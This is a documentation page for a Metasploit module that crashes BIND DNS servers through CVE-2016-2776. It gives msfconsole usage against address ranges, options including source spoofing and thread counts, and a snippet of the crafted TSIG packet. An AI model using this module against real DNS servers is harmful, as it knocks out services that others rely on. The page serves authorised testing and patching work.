BIND TSIG Query Denial of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/dns/bind_tsig metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: BIND TSIG Query Denial of Service
Module: auxiliary/dos/dns/bind_tsig
Source code: modules/auxiliary/dos/dns/bind_tsig.rb
Disclosure date: 2016-09-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 53
List of CVEs: CVE-2016-2776

A defect in the rendering of messages into packets can cause named to exit with an assertion failure in buffer.c while constructing a response to a query that meets certain criteria. This assertion can be triggered even if the apparent source address isn't allowed to make queries.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/dos/dns/bind_tsig
msf auxiliary(bind_tsig) > show options
    ... show and set options ...
msf auxiliary(bind_tsig) > set RHOSTS ip-range
msf auxiliary(bind_tsig) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(bind_tsig) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(bind_tsig) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(bind_tsig) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the dos/dns/bind_tsig auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/dns/bind_tsig

msf6 auxiliary(dos/dns/bind_tsig) > show info

       Name: BIND TSIG Query Denial of Service
     Module: auxiliary/dos/dns/bind_tsig
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-09-27

Provided by:
  Martin Rocha
  Ezequiel Tavella
  Alejandro Parodi
  Infobyte Research Team

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  BATCHSIZE  256              yes       The number of hosts to probe in each set
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      53               yes       The target port (UDP)
  SRC_ADDR                    no        Source address to spoof
  THREADS    10               yes       The number of concurrent threads

Description:
  A defect in the rendering of messages into packets can cause named 
  to exit with an assertion failure in buffer.c while constructing a 
  response to a query that meets certain criteria. This assertion can 
  be triggered even if the apparent source address isn't allowed to 
  make queries.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-2776
  http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html

Module Options


This is a complete list of options available in the dos/dns/bind_tsig auxiliary module:

msf6 auxiliary(dos/dns/bind_tsig) > show options

Module options (auxiliary/dos/dns/bind_tsig):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      53               yes       The target port (UDP)
   SRC_ADDR                    no        Source address to spoof
   THREADS    10               yes       The number of concurrent threads

Advanced Options


Here is a complete list of advanced options supported by the dos/dns/bind_tsig auxiliary module:

msf6 auxiliary(dos/dns/bind_tsig) > show advanced

Module advanced options (auxiliary/dos/dns/bind_tsig):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   CHOST                                   no        The local client address
   CPORT                                   no        The local client port
   GATEWAY_PROBE_HOST     8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                      no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET                 1297303073       yes       A 32-bit cookie for probe requests.
   ScannerMaxResends      10               yes       The maximum times to resend a packet when out of buffers
   ScannerRecvInterval    30               yes       The maximum numbers of sends before entering the processing loop
   ScannerRecvQueueLimit  100              yes       The maximum queue size before breaking out of the processing loop
   ScannerRecvWindow      0                yes       The number of seconds to wait post-scan to catch leftover replies
   ShowProgress           true             yes       Display progress messages during a scan
   ShowProgressPercent    10               yes       The interval in percent that progress should be shown
   VERBOSE                false            no        Enable detailed status messages
   WORKSPACE                               no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/dns/bind_tsig module can do:

msf6 auxiliary(dos/dns/bind_tsig) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/dns/bind_tsig auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/dns/bind_tsig) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

x00x00


Here is a relevant code snippet related to the "x00x00" error message:

85:	    query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan  1, 1970 03:15:07.000000000 ART
86:	    query << "\x01\x2c" # Fudge: 300
87:	    query << "\x00\x10" # MAC Size: 16
88:	    query <<  Rex::Text.rand_text_alphanumeric(16) # MAC
89:	    query << "\x8f\x65" # Original Id: 36709
90:	    query << "\x00\x00" # Error: No error (0)
91:	    query << "\x00\x00" # Other len: 0
92:	  end
93:	
94:	  def get_domain
95:	    domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Martin Rocha
  • Ezequiel Tavella
  • Alejandro Parodi
  • Infobyte Research Team

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.